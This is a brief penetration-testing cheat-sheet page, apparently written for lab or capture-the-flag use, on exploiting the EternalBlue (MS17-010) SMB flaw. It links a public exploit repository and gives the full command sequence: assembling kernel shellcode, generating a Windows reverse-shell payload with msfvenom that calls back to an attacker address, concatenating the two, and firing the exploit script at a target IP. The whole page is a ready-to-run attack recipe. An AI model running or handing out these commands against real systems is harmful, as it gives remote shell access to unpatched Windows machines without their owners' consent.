# EternalBlue - MS17-010

Download Python script here: [https://github.com/3ndG4me/AutoBlue-MS17-010/tree/master](https://github.com/3ndG4me/AutoBlue-MS17-010/tree/master)

<pre class="language-bash"><code class="lang-bash"><strong>// Assemble shellcode
</strong><strong>$ nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin
</strong><strong>
</strong><strong>// Generate payload
</strong><strong>$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=4488 LHOST=10.10.14.10 –platform windows -a x64 –format raw -o sc_x64_payload.bin
</strong><strong>
</strong><strong>// Concatenate shellcode &#x26; payload
</strong><strong>$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
</strong><strong>
</strong><strong>// Exploit
</strong><strong>$ python eternalblue_exploit7.py 10.10.10.40 sc_x64.bin
</strong></code></pre>
